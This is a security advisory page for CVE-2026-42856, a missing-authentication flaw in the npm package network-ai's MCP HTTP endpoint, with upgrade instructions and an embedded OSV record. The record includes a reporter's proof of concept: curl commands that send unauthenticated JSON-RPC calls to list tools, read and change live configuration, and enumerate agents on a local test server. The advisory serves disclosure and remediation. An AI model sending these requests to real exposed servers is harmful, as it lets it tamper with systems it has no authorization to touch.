CVE-2026-42856: Network ai Network-AI Missing Authentication On MCP Vulnerability
HIGHCVE-2026-42856 is a HIGH network-ai missing authentication on mcp vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Network ai libraries in the npm ecosystem. The issue involves network-ai missing authentication on mcp http endpoint, which allows unauthenticated privileged tool calls. Remediation is available by upgrading affected packages to version 5.1.3.
CVE-2026-42856 at a Glance
How to Fix CVE-2026-42856
To remediate this vulnerability, upgrade all affected Network ai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install network-ai@5.1.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls network-ai
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-42856, inspect your project dependencies using npm:
npm ls network-ai
Analyze the terminal output to locate any version of Network ai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.3), your application is affected.
Note: The npm ls network-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Network ai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42856 Affected Network ai Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
network-ai
|
npm |
< 5.1.3
|
5.1.3
|
References
Frequently Asked Questions
What is CVE-2026-42856?
Which Network ai versions are affected?
What version fixes CVE-2026-42856?
Is network-ai affected?
What CWE is associated with CVE-2026-42856?
How can I check npm dependencies for CVE-2026-42856?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fj4g-2p96-q6m3",
"modified" : "2026-05-13T14:17:54Z",
"published" : "2026-05-05T17:25:37Z",
"aliases" : [ "CVE-2026-42856" ],
"summary" : "Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls",
"details" : "# Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI`\n\n| Field | Value |\n|---|---|\n| Project | `Jovancoding/Network-AI` |\n| Repository | https://github.com/Jovancoding/Network-AI |\n| Affected commit | `c344f2053eb0d49395988f803bf92f2a86b2a0d0` |\n| Affected tested version | `5.1.2` |\n| Vulnerability type | CWE-306: Missing Authentication for Critical Function |\n| Severity | High |\n| Authentication required | None |\n| Default network exposure | Bind address `0.0.0.0` |\n| Reporter validation date | 2026-04-21 |\n\n## Summary\n\nThe MCP HTTP transport accepts JSON-RPC `tools/call` requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is `0.0.0.0`. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.\n\n## Affected Code\n\n- `bin/mcp-server.ts:75` — server binds to `0.0.0.0` by default.\n- `lib/mcp-transport-sse.ts:155` — `handleRPC()` dispatches `tools/call` directly to the provider's `call(toolName, toolArgs)`.\n- `lib/mcp-transport-sse.ts:379` — `_handlePost()` parses the JSON-RPC body and calls `this._bridge.handleRPC(rpc)` with no auth check.\n- `lib/mcp-tools-control.ts:80` — `config_get` exposes live runtime configuration.\n- `lib/mcp-tools-control.ts:197` — `agent_list` exposes registered agents.\n- `lib/mcp-tools-control.ts:231` — `config_set` mutates runtime configuration in place: `this._config[key] = parsed`.\n\n## Proof of Concept\n\nThe PoC was executed against a local Docker build of the affected commit, bound to `http://localhost:13001`. **No authentication header was sent.** All inner-JSON excerpts below are decoded from the JSON-RPC `result.content[0].text` field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in `evidence/`.\n\n### Step 1 — list exposed tools (unauthenticated)\n\n```bash\ncurl http://localhost:13001/tools\n```\n\n`HTTP/1.1 200 OK` — body returned 22 tools. Privileged tools observed in the inventory include:\n\n- `config_get`, `config_set` — read and mutate live orchestrator configuration\n- `agent_list`, `agent_spawn`, `agent_stop` — enumerate, dispatch, and stop agents\n- `token_create`, `token_revoke` — mint and revoke security tokens\n- `budget_set_ceiling` — adjust the global token budget ceiling\n- `fsm_transition` — drive finite-state-machine transitions\n- `blackboard_write`, `blackboard_delete` — mutate the shared blackboard\n\nFull transcript: `evidence/01_get_tools.txt`.\n\n### Step 2 — read live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n \"ok\": true,\n \"tool\": \"config_get\",\n \"data\": {\n \"blackboardPath\": \"./swarm-blackboard.md\",\n \"maxParallelAgents\": null,\n \"defaultTimeout\": 30000,\n \"enableTracing\": true,\n \"grantTokenTTL\": 300000,\n \"maxBlackboardValueSize\": 1048576,\n \"auditLogPath\": \"./data/audit_log.jsonl\",\n \"trustConfigPath\": \"./data/trust_levels.json\"\n }\n}\n```\n\nFull transcript: `evidence/02_config_get_before.txt`.\n\n### Step 3 — mutate live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"config_set\",\"arguments\":{\"key\":\"defaultTimeout\",\"value\":\"12345\"}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n \"ok\": true,\n \"tool\": \"config_set\",\n \"data\": {\n \"key\": \"defaultTimeout\",\n \"previous\": 30000,\n \"current\": 12345,\n \"applied\": true\n }\n}\n```\n\nFull transcript: `evidence/03_config_set.txt`.\n\n### Step 4 — confirm mutation persisted (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON (relevant key only):\n\n```json\n{\n \"ok\": true,\n \"tool\": \"config_get\",\n \"data\": {\n \"defaultTimeout\": 12345\n }\n}\n```\n\nThis proves the runtime change applied by step 3 is observable on the next read. Full transcript: `evidence/04_config_get_after.txt`.\n\n### Step 5 — enumerate registered agents (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":4,\"method\":\"tools/call\",\"params\":{\"name\":\"agent_list\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n \"ok\": true,\n \"tool\": \"agent_list\",\n \"data\": {\n \"agents\": [],\n \"count\": 0\n }\n}\n```\n\nThis is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: `evidence/05_agent_list.txt`.\n\n### Cleanup — runtime state restored\n\nAfter the PoC, `defaultTimeout` was restored to `30000` via the same unauthenticated `config_set` (`previous\":12345,\"current\":30000,\"applied\":true`). All testing was performed against a local Docker container only.\n\n## Impact\n\n- Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.\n- An attacker can change runtime configuration (e.g., `defaultTimeout`, `enableTracing`), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.\n- The default `0.0.0.0` bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.\n\n## Suggested Remediation\n\n1. Enforce authentication inside `_handlePost()` before reaching `handleRPC()`. At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.\n2. Default the bind address to `127.0.0.1`. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.\n3. For tool-level defense in depth, gate state-mutating tools (`config_set`, `agent_spawn`, `agent_stop`, `token_create`, `token_revoke`, `budget_set_ceiling`, `fsm_transition`, `blackboard_write`, `blackboard_delete`) behind an explicit authorization check tied to a verified caller identity.\n\n## Verification Environment\n\n- Local Docker container only; no third-party deployment was tested.\n- Local build required a minimal Dockerfile fix; the application code path under test was not modified.\n- Runtime state (`defaultTimeout`) was restored to default after the PoC.\n\n## Attached Evidence\n\nFiles in `evidence/` are raw `curl -i` transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.\n\n| File | Purpose |\n|---|---|\n|[01_get_tools.txt](https://github.com/user-attachments/files/26950583/01_get_tools.txt) | Step 1 — full `GET /tools` request and 22-tool inventory response |\n|[02_config_get_before.txt](https://github.com/user-attachments/files/26950584/02_config_get_before.txt) | Step 2 — full `config_get` request and live configuration response |\n|[03_config_set.txt](https://github.com/user-attachments/files/26950585/03_config_set.txt) | Step 3 — full `config_set` request mutating `defaultTimeout` |\n|[04_config_get_after.txt](https://github.com/user-attachments/files/26950586/04_config_get_after.txt)| Step 4 — full `config_get` request showing the mutation persisted |\n| [05_agent_list.txt](https://github.com/user-attachments/files/26950587/05_agent_list.txt) | Step 5 — full `agent_list` request and response |",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "network-ai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.1.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.1.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42856"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Jovancoding/Network-AI"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T17:25:37Z",
"nvd_published_at" : "2026-05-11T18:16:35Z"
}
}